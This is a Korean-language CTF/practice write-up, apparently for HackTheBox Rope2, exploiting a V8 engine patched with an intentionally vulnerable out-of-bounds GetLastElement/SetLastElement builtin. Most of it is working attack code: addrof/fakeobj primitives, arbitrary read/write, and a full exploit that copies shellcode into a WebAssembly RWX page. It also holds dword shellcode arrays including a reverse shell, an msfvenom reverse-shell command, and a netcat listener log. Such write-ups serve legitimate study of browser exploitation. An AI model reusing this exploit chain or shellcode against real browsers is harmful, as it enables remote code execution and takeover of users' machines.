Practice for Chromium with V8 Exploit
Contents
1. 디버깅 환경 구성
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
~$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git ~$ export PATH=$(pwd)/depot_tools;$PATH // Python 2.7 may be required. ~$ fetch v8 ~$ cd v8 ~/v8$ ./build/install-build-deps.sh ~/v8$ git checkout 5c05acf729b557b01b6eb9992733417f6d2b8021 ~/v8$ gclient sync // File of diff is below. ~/v8$ git apply 7410f6809dd33e317f11f39ceaebaba9a88ea970.diff ~/v8$ ./tools/dev/v8gen.py x64.release ~/v8$ ninja -C ./out.gn/x64.release ~/v8$ ./tools/dev/v8gen.py x64.debug ~/v8$ ninja -C ./out.gn/x64.debug ~/v8$ cd out.gn/x64.debug ~/v8/out.gn/x64.debug$ gdb ./d8 gef➤ run --allow-natives-syntax Starting program: /home/hacker/Documents/v8/out.gn/x64.debug/d8 --allow-natives-syntax [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff254d700 (LWP 5629)] V8 version 8.5.0 (candidate) d8> a = "test" "test" d8> %DebugPrint(a) #test fp = 0x7fffffffc9b0, sp = 0x7fffffffc980, caller_sp = 0x7fffffffc9c0: 0x2dfb080402cd: [Map] in ReadOnlySpace - type: ONE_BYTE_INTERNALIZED_STRING_TYPE - instance size: variable - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x2dfb0804030d <undefined> - prototype_validity cell: 0 - instance descriptors (own) #0: 0x2dfb080401b5 <DescriptorArray[0]> - prototype: 0x2dfb08040171 <null> - constructor: 0x2dfb08040171 <null> - dependent code: 0x2dfb080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 "test" |
2. 어디가 취약한가?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 3c2fe33c5b4b330c509d2926bc1e30daa1e09dba..99f0271e035220cd7228e8f9d8959e3b248a6cb5 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -297,6 +297,34 @@ BUILTIN(ArrayPrototypeFill) { return GenericArrayFill(isolate, receiver, value, start_index, end_index); } +BUILTIN(ArrayGetLastElement) +{ + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + uint32_t len = static_cast<uint32_t>(array->length().Number()); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + return *(isolate->factory()->NewNumber(elements.get_scalar(len))); +} + +BUILTIN(ArraySetLastElement) +{ + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver())); + int arg_count = args.length(); + if (arg_count != 2) // first value is always this + { + return ReadOnlyRoots(isolate).undefined_value(); + } + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + uint32_t len = static_cast<uint32_t>(array->length().Number()); + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.atOrUndefined(isolate,1))); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + elements.set(len,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); +} + namespace { V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, BuiltinArguments* args) { diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 92a430aa2c0cbc3d65fdf2f1f4f295824379dbd8..02982b1c858eb313befcb8ad9e396dcdfbf2f9ab 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -319,6 +319,8 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.push */ \ CPP(ArrayPush) \ + CPP(ArrayGetLastElement) \ + CPP(ArraySetLastElement) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.shift */ \ CPP(ArrayShift) \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index 6d53531f1cbf9b6669c6b98ea8779e8133babe8d..5db31e9b733cdaa1dd2049b72b7fb6392ea4a1ab 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1706,6 +1706,11 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { // Array functions. case Builtins::kArrayIsArray: return Type::Boolean(); + case Builtins::kArrayGetLastElement: + return Type::Receiver(); + case Builtins::kArraySetLastElement: + return Type::Receiver(); + case Builtins::kArrayConcat: return Type::Receiver(); case Builtins::kArrayEvery: diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc index 7fd1e40f661461fdbcf9228c5ce9127c3428dc7b..3a9b97e4b6426e101ca0cdc97ce1cc92aa689968 100644 --- a/src/init/bootstrapper.cc +++ b/src/init/bootstrapper.cc @@ -1660,6 +1660,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeLastIndexOf, 1, false); SimpleInstallFunction(isolate_, proto, "pop", Builtins::kArrayPrototypePop, 0, false); + SimpleInstallFunction(isolate_, proto, "GetLastElement", Builtins::kArrayGetLastElement, + 0, false); + SimpleInstallFunction(isolate_, proto, "SetLastElement", Builtins::kArraySetLastElement, + 0, false); SimpleInstallFunction(isolate_, proto, "push", Builtins::kArrayPrototypePush, 1, false); SimpleInstallFunction(isolate_, proto, "reverse", |
GetLastElement에서 13, 15번째 줄이 취약하다.
var a = [1, 2, 3]의 length는 3이지만, a[3]은 out-of-bound가 된다.
SetLastElement도 마찬가지로, 28, 32번째 줄이 취약하다.
3. 배열(array)은 어떻게 구성되어 있나?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
d8> a = [1.1, 1.2, 1.1, 1.2] [1.1, 1.2, 1.1, 1.2] d8> %DebugPrint(a) DebugPrint: 0x1c3b080c5e49: [JSArray] - map: 0x1c3b08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x1c3b0824923d <JSArray[0]> - elements: 0x1c3b080c5e21 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS] - length: 4 - properties: 0x1c3b080406e9 <FixedArray[0]> { #length: 0x1c3b081c0165 <AccessorInfo> (const accessor descriptor) } - elements: 0x1c3b080c5e21 <FixedDoubleArray[4]> { 0: 1.1 1: 1.2 2: 1.1 3: 1.2 } 0x1c3b08281909: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x1c3b082818e1 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x1c3b081c0451 <Cell value= 1> - instance descriptors #1: 0x1c3b08249911 <DescriptorArray[1]> - transitions #1: 0x1c3b0824995d <TransitionArray[4]>Transition array #1: 0x1c3b08042f3d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1c3b08281931 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x1c3b0824923d <JSArray[0]> - constructor: 0x1c3b08249111 <JSFunction Array (sfi = 0x1c3b081cc41d)> - dependent code: 0x1c3b080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 [1.1, 1.2, 1.1, 1.2] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
A JSArray object A FixedArray object +-----------------------------+ +------------------------------+ | | | | | Map Pointer | +-->+ Map Pointer | | | | | | +-----------------------------+ | +------------------------------+ | | | | | | Properties Pointer | | | Backing Store Length | | | | | | +-----------------------------+ | +------------------------------+ | | | | | | Elements Pointer +---+ | 0x3ff199999999999a | index 0 | | | | +-----------------------------+ +------------------------------+ | | | | | Array Length | | 0x3ff3333333333333 | index 1 | | | | +-----------------------------+ +------------------------------+ | | | | | Other unimportant fields... | | 0x3ff199999999999a | index 2 | | | | +-----------------------------+ +------------------------------+ | | | 0x3ff3333333333333 | index 3 | | +------------------------------+ |
JSArray 객체는 사실상 배열로 볼 수 있으며, 4개의 필드가 중요하다.
- Map Pointer : 배열의 형태를 결정한다. 특히, 배열에 저장되는 요소의 종류를 결정한다. 보조 저장(Backing Store)되는 객체의 종류를 결정한다. 위의 예시에 적용하면, 배열에는 float이 저장되고, FixedArray가 보조 저장된다.
- Properties Pointer : 배열의 속성을 저장한 객체를 가리킨다.
- Elements Pointer : 배열의 요소가 저장된 객체를 가리킨다. Elements Pointer를 Backing Store라고도 한다. 위의 예시에 적용하면, FixedArray 객체를 가리킨다.
- Array Length : 배열의 길이이다.
1 2 3 4 5 6 7 |
// JSArray object gef➤ x/16xw 0x1c3b080c5e49-1 0x1c3b080c5e48: 0x08281909 0x080406e9 0x080c5e21 0x00000008 // Map Ptr Property Ptr Element Ptr Array Length 0x1c3b080c5e58: 0x08040551 0x103598aa 0x00000adc 0x7566280a 0x1c3b080c5e68: 0x6974636e 0x29286e6f 0x220a7b20 0x20657375 0x1c3b080c5e78: 0x69727473 0x3b227463 0x2f2f0a0a 0x6d204120 |
1 2 3 4 5 6 7 8 9 10 11 |
// Elements Index 0 gef➤ x/16xw 0x1c3b080c5e21-1 // +------------------------+ 0x1c3b080c5e20: 0x08040a3d 0x00000008 0x9999999a 0x3ff19999 // Map Ptr Backing Store Length 0x1c3b080c5e30: 0x33333333 0x3ff33333 0x9999999a 0x3ff19999 // +------------------------+ +------------------------+ // Index 1 Index 2 0x1c3b080c5e40: 0x33333333 0x3ff33333 0x08281909 0x080406e9 // +------------------------+ // Index 3 0x1c3b080c5e50: 0x080c5e21 0x00000008 0x08040551 0x103598aa |
포인터는 전체 주소에서 상위 4바이트가 생략된 주소이다.
4. 맵(Map)이란?
객체(배열도 객체)의 맵은 아래의 정보를 포함하는 데이터 구조이다.
- 객체의 동적 자료형, String, Uint8Array, HeapNumber…
- 객체의 바이트 크기
- 객체의 속성, 저장위치
- 배열 요소의 자료형, 예:
- 객체의 프로토타입
프로퍼티 값은 객체 내부에 저장되지만, 프로퍼티의 이름은 보통 맵에 저장된다.
맵은 프로퍼티 값의 정확한 위치를 제공한다.
5. V8에서 배열(array)은 메모리에 어떻게 할당되나?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
0 4 7 8 C F +-----------------------------+-----------------------------+ --+ | | | | +-->+ Map Pointer | Backing Store Length | | | | | | | | +-----------------------------+-----------------------------+ | | | | | | | index 0 | | A FixedArray Object | | | | | +-----------------------------------------------------------+ | | | | | | | index 1 | | | | | | | +-----------------------------+-----------------------------+ --+ | | | | | | | Map Pointer | Properties Pointer | | | | | | | | +-----------------------------+-----------------------------+ | | | | | | +---+ Elements Pointer | Array Length | | A JSArray Object | | | | +-----------------------------+-----------------------------+ | | | | | | Other unimportant fields... | | | | | | | +-----------------------------+-----------------------------+ -- |
Element Pointer의 마지막 요소에 바로 이어서 JSArray의 Map Pointer가 이어진다.
위에서 확인한 취약점으로 생각해보면, GetLastElement()로 JSArray의 Map Pointer를 읽을 수 있다.
또한, SetLastElement()로 JSArray의 Map Pointer를 덮어 쓸 수 있다.
6. Float Array vs Object Array?
Float Array는 index[n]의 위치에 실제값이 들어있다.
Object Array는 index[n]의 위치에 Object Pointer가 들어있다.
7. 원하는 객체의 메모리 주소를 알 수 있다?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
var temp_obj = {"A":1}; var obj_arr = [temp_obj]; var fl_arr = [1.1, 1.2, 1.3, 1.4]; var fl_map = fl_arr.GetLastElement(); var obj_map = itof( ftoi(fl_map) + 0x50n ); console.log("[*] Float Map : " + ftoh(fl_map)); console.log("[*] Object Map : " + ftoh(obj_map)); function addrof(leak) { arr = [1.1]; arr.SetLastElement(obj_map); arr[0] = leak; arr.SetLastElement(fl_map); let addr = arr[0]; arr.SetLastElement(obj_map); return ftoi(addr) & 0xffffffffn; } |
Object Array의 Map Pointer, Float Array의 Map Pointer를 구한다.
Object Array의 Map Pointer는 GetLastElement로 확인할 수 없다. 디버거를 통해 실측해야 한다.
Float Array를 하나 만들고, SetLastElement로 Object Array의 Map Pointer를 인자로 전달하면, SetLastElement의 취약점 때문에 Float Array의 Map Pointer가 Object Array의 Map Pointer로 변경된다.
위에서 만든 Array의 요소 하나에 주소를 확인하고자 하는 객체를 넣어 준다. 위에서 Map Pointer를 Float Array에서 Object Array로 변경했기 때문에, 타겟 객체의 주소가 Array에 쓰여진다.
다시 SetLastElement로 Object Array에서 Float Array로 Map Pointer로 변경한다. 이렇게 하면, 타겟 객체의 주소를 확인할 수 있다.
8. 원하는 메모리 주소에 저장된 데이터를 읽을 수 있다?
8.1. 가짜 객체 생성
1 2 3 4 5 6 7 8 9 10 |
var fake_arr = [fl_map, 1.1, 1.2, 1.3]; var fake = fakeobj(addrof(fake_arr) - 0x20n); function fakeobj(addr) { arr = [1.1]; arr[0] = itof(addr); arr.SetLastElement(obj_map); let fake = arr[0]; arr.SetLastElement(fl_map); return fake; } |
Float Array의 Map Pointer(fl_map)을 첫 번째 인자로 하는 배열(fake_arr)을 하나 생성한다.
fake_arr[0]의 주소(0x0008)는 fake_arr의 주소(0x0028)보다 0x20만큼 앞서 있다. fake_arr[0]의 주소(0x0008)를 인자로 fakeobj()를 호출한다.
fakeobj()에서도 Float Array(arr)를 하나 생성하고, Element(arr[0])를 fake_arr[0]의 주소(0x0008)을 바꿔준다.
그리고, arr의 Map Pointer를 Object Array의 Map Pointer(obj_map)로 변경하면, arr은 Float Array가 아니라 Object Array로 형변환된다.
이제 arr[0]에 접근하면, arr[0]에 저장된 값(0x0008)이 가리키는 객체에 접근한다.
arr[0]에는 fl_map이 저장된 주소(0x0008)가 저장되어 있기 때문에, arr[0]는 Float Array Ojbect로 인식하게 된다.
이 결과, fake_arr와 fake는 아래와 같이 메모리 영역이 중복된다.
8.2. 주소에서 데이터 읽기
1 2 3 4 5 6 7 |
function read(addr) { if (addr % 2n == 0) { addr += 1; } fake_arr[1] = itof((8n << 32n) + addr -8n); return fake[0]; } |
8.1의 결론에 이어서, fake_arr[1]을 변경하는 것은 fake의 Elements Pointer를 수정하는 결과를 가져온다.
fake가 Float Array로 인식되기 때문에 Elements Pointer를 수정(addr+0x8)하면, 원하는 주소의 데이터를 배열의 인덱스(fake[0])로 읽어올 수 있다.
8n << 32n은 fake 객체의 Array Length를 덮어쓰기 위해서다.
9. 원하는 메모리 주소에 데이터를 쓸 수도 있나?
8과 동일하게 fake_arr[1]에 타겟 주소를 쓰고, fake[0]에 원하는 값을 쓰면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
fake[0] = itof(0xdeadbeefn); addr 0 4 7 8 C F +-----------------------------+-----------------------------+ | | | 0000 | | | | | | +-----------------------------+-----------------------------+ --+ | fake_arr[0] | | | 0008 | fl_map | | | // Map Pointer | // Properties Pointer | | +-----------------------------+-----------------------------+ | | fake_arr[1] | | | 0010 +---+ | | | A JSArray Object | | // Elements Pointer(0x0080)| // Array Length | | (fake) | +-----------------------------+-----------------------------+ | | | | | | 0018 | | | | | | | // Other unimportant... | | | | +-----------------------------+-----------------------------+ --+ | ... | +-----------------------------+-----------------------------+ | | | | 0080 +-->+ Map Pointer | Backing Store Length | | | | +-----------------------------+-----------------------------+ | fake[0] | 0088 | * Target * | | | +-----------------------------------------------------------+ | fake[?] | 0090 | | | | +-----------------------------------------------------------+ |
10. Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
var buf = new ArrayBuffer(8); // 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { // typeof(val) = float f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness } function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function ftoh(val) { return "0x" + ftoi(val).toString(16); } var temp_obj = {"A":1}; var obj_arr = [temp_obj]; var fl_arr = [1.1, 1.2, 1.3, 1.4]; var fl_map = fl_arr.GetLastElement(); var obj_map = itof( ftoi(fl_map) + 0x50n) console.log("[*] Float Map : " + ftoh(fl_map)); console.log("[*] Object Map : " + ftoh(obj_map)); function addrof(leak) { arr = [1.1]; arr.SetLastElement(obj_map); arr[0] = leak; arr.SetLastElement(fl_map); let addr = arr[0]; arr.SetLastElement(obj_map); return ftoi(addr) & 0xffffffffn; } var fake_arr = [fl_map, 1.1, 1.2, 1.3]; var fake = fakeobj(addrof(fake_arr) - 0x20n); function fakeobj(addr) { arr = [1.1]; arr[0] = itof(addr); arr.SetLastElement(obj_map); let fake = arr[0]; arr.SetLastElement(fl_map); return fake; } function read(addr) { if (addr % 2n == 0) { addr += 1; } fake_arr[1] = itof((8n << 32n) + addr -8n); return fake[0]; } function write(addr, hvalue) { if (addr % 2n == 0) { addr += 1; } fake_arr[1] = itof((8n << 32n) + addr -8n); fake[0] = itof(BigInt(hvalue)); } function arb_write(addr, hvalue) { let buf = new ArrayBuffer(8); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x14n write(backing_store_addr, addr); dataview.setBigUint64(0, BigInt(val), true); } // https://wasdk.github.io/WasmFiddle/ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var rwx_page_addr = ftoi(read(addrof(wasm_instance) + 0x68n)); console.log("[*] Address of WASM Instance : 0x" + addrof(wasm_instance).toString(16)); console.log("[*] Address of PWX Page : 0x" + addrof(rwx_page_addr).toString(16)); function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x14n; write(backing_store_addr, addr); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } } // touch /tmp/pwn //shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x0000001a, 0x7273752f, 0x6e69622f, 0x756f742f, 0x2f206863, 0x2f706d74, 0x656e7770, 0x57560064, 0x0fe68948, 0x00000005] // /bin/sh -c /usr/bin/xcalc shellcode = [0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00] // /bin/bash -c "bash -i >& /dev/tcp/127.0.0.1/8080 0>&1" //shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000037, 0x6e69622f, 0x7361622f, 0x632d2068, 0x61622220, 0x2d206873, 0x263e2069, 0x65642f20, 0x63742f76, 0x32312f70, 0x2e302e37, 0x2f312e30, 0x30383038, 0x263e3020, 0x56002231, 0xe6894857, 0x0000050f] copy_shellcode(rwx_page_addr, shellcode); f(); |
11. ShellCode
1 |
msfvenom -p linux/x64/exec CMD='/bin/bash -c "bash -i >& /dev/tcp/127.0.0.1/8080 0>&1"' --format dword |
12. 포인터 태깅(Pointer tagging)?
V8에서 Pointer, Double, SMI(immediate Small Interger)를 구분하기 위해 사용하는 방법이다.
v8/src/objects/objects.h에 정의되어 있다.
1 2 3 |
Double : Shown as the 64-bit binary representation without any changes Smi : Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000 Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9 |
13. Exploit
1 2 3 4 5 6 7 8 9 10 |
root@hacker:~/Documents/0x00-Private/0x00-HackTheBox/0x15-Rope2# nc -lvnp 8000 listening on [any] 8000 ... connect to [10.10.14.129] from (UNKNOWN) [10.10.10.196] 49798 GET /test.jpg HTTP/1.1 Host: 10.10.14.129:8000 Connection: keep-alive User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4157.0 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
var fake_arr = [fl_map, 1.1, 1.2, 1.3]; addr 0 4 7 8 C F +-----------------------------+-----------------------------+ --+ | | | | 0000 +-->+ Map Pointer | Backing Store Length | | | | | | | | +-----------------------------+-----------------------------+ | | | fake_arr[0] | | 0008 | | fl_map | | | | | | | +-----------------------------------------------------------+ | | | fake_arr[1] | | 0010 | | 1.1 | | A FixedArray Object | | | | | +-----------------------------------------------------------+ | | | fake_arr[2] | | 0018 | | 1.2 | | | | | | | +-----------------------------------------------------------+ | | | fake_arr[3] | | 0020 | | 1.3 | | | | | | | +-----------------------------+-----------------------------+ --+ | | | | | 0028 | | Map Pointer | Properties Pointer | | | | | | | | +-----------------------------+-----------------------------+ | | | | | | 0030 +---+ Elements Pointer | Array Length | | A JSArray Object | | | | (fake_arr) +-----------------------------+-----------------------------+ | | | | | 0038 | Other unimportant fields... | | | | | | | +-----------------------------+-----------------------------+ --+ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
var fake = fakeobj(addrof(fake_arr) - 0x20n); addr 0 4 7 8 C F +-----------------------------+-----------------------------+ | | | 0000 +-->+ | | | | | | | +-----------------------------+-----------------------------+ --+ | | fake_arr[0] | | | 0008 | | fl_map | | (fake_arr-0x20) | | // Map Pointer | // Properties Pointer | | | +-----------------------------+-----------------------------+ | | | fake_arr[1] | | | 0010 | + | | | A JSArray Object | | // Elements Pointer | // Array Length | | (fake) | +-----------------------------+-----------------------------+ | | | fake_arr[2] | | | 0018 | | | | | | | // Other unimportant... | | | | +-----------------------------+-----------------------------+ --+ | | fake_arr[3] | | 0020 | | | | | | | | | +-----------------------------+-----------------------------+ --+ | | | | | 0028 | | Map Pointer | Properties Pointer | | (fake_arr) | | | | | | +-----------------------------+-----------------------------+ | | | | | | 0030 +---+ Elements Pointer | Array Length | | A JSArray Object | | | | +-----------------------------+-----------------------------+ | | | | | 0038 | Other unimportant fields... | | | | | | | +-----------------------------+-----------------------------+ --+ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
fake_arr[1] = itof((8n << 32n) + addr -8n); return fake[0]; addr 0 4 7 8 C F +-----------------------------+-----------------------------+ | | | 0000 | | | | | | +-----------------------------+-----------------------------+ --+ | fake_arr[0] | | | 0008 | fl_map | | | // Map Pointer | // Properties Pointer | | +-----------------------------+-----------------------------+ | | fake_arr[1] | | | 0010 +---+ | | | A JSArray Object | | // Elements Pointer(0x0080)| // Array Length | | (fake) | +-----------------------------+-----------------------------+ | | | | | | 0018 | | | | | | | // Other unimportant... | | | | +-----------------------------+-----------------------------+ --+ | ... | +-----------------------------+-----------------------------+ | | | | 0080 +-->+ Map Pointer | Backing Store Length | (addr-8) | | | +-----------------------------+-----------------------------+ | fake[0] | 0088 | * Target * | (addr) | | +-----------------------------------------------------------+ | fake[?] | 0090 | | | | +-----------------------------------------------------------+ |
14. 관련글
- SIMPLE BUGS WITH COMPLEX EXPLOITS
- Exploiting v8: *CTF 2019 oob-v8
- ko.javascript.info의 아티클 번역: ArrayBuffer, binary arrays
- Pointer Compression in V8